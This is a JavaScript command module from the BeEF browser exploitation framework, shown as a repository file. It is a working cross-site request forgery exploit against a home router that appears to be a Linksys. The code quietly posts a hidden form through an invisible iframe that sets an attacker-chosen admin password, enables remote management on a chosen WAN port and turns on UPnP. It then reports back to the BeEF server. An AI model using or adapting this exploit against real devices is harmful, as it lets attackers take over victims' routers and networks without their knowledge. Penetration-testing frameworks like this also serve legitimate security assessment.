35f62714b1
git-svn-id: https://beef.googlecode.com/svn/trunk@908 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
93 lines
2.8 KiB
JavaScript
93 lines
2.8 KiB
JavaScript
beef.execute(function() {
|
|
var port = '<%= @port %>';
|
|
var gateway = '<%= @base %>';
|
|
var passwd = '<%= @password %>';
|
|
|
|
var target = gateway + "manage.tri";
|
|
|
|
var iframe = beef.dom.createInvisibleIframe();
|
|
|
|
var form = document.createElement('form');
|
|
form.setAttribute('action', target);
|
|
form.setAttribute('method', 'post');
|
|
|
|
var input = null;
|
|
|
|
input = document.createElement('input');
|
|
input.setAttribute('type', 'hidden');
|
|
input.setAttribute('name', 'remote_mgt_https');
|
|
input.setAttribute('value', 0);
|
|
form.appendChild(input);
|
|
|
|
input = document.createElement('input');
|
|
input.setAttribute('type', 'hidden');
|
|
input.setAttribute('name', 'http_enable');
|
|
input.setAttribute('value', 1);
|
|
form.appendChild(input);
|
|
|
|
input = document.createElement('input');
|
|
input.setAttribute('type', 'hidden');
|
|
input.setAttribute('name', 'https_enable');
|
|
input.setAttribute('value', 0);
|
|
form.appendChild(input);
|
|
|
|
input = document.createElement('input');
|
|
input.setAttribute('type', 'hidden');
|
|
input.setAttribute('name', 'PasswdModify');
|
|
input.setAttribute('value', 1);
|
|
form.appendChild(input);
|
|
|
|
input = document.createElement('input');
|
|
input.setAttribute('type', 'hidden');
|
|
input.setAttribute('name', 'http_passwd');
|
|
input.setAttribute('value', passwd);
|
|
form.appendChild(input);
|
|
|
|
input = document.createElement('input');
|
|
input.setAttribute('type', 'hidden');
|
|
input.setAttribute('name', 'http_passwdConfirm');
|
|
input.setAttribute('value', passwd);
|
|
form.appendChild(input);
|
|
|
|
input = document.createElement('input');
|
|
input.setAttribute('type', 'hidden');
|
|
input.setAttribute('name', '_http_enable');
|
|
input.setAttribute('value', 1);
|
|
form.appendChild(input);
|
|
|
|
input = document.createElement('input');
|
|
input.setAttribute('type', 'hidden');
|
|
input.setAttribute('name', 'web_wl_filter');
|
|
input.setAttribute('value', 1);
|
|
form.appendChild(input);
|
|
|
|
input = document.createElement('input');
|
|
input.setAttribute('type', 'hidden');
|
|
input.setAttribute('name', 'remote_management');
|
|
input.setAttribute('value', 1);
|
|
form.appendChild(input);
|
|
|
|
input = document.createElement('input');
|
|
input.setAttribute('type', 'hidden');
|
|
input.setAttribute('name', 'http_wanport');
|
|
input.setAttribute('value', port);
|
|
form.appendChild(input);
|
|
|
|
input = document.createElement('input');
|
|
input.setAttribute('type', 'hidden');
|
|
input.setAttribute('name', 'upnp_enable');
|
|
input.setAttribute('value', 1);
|
|
form.appendChild(input);
|
|
|
|
input = document.createElement('input');
|
|
input.setAttribute('type', 'hidden');
|
|
input.setAttribute('name', 'layout');
|
|
input.setAttribute('value', 'en');
|
|
form.appendChild(input);
|
|
|
|
iframe.contentWindow.document.body.appendChild(form);
|
|
form.submit();
|
|
|
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
|
|
});
|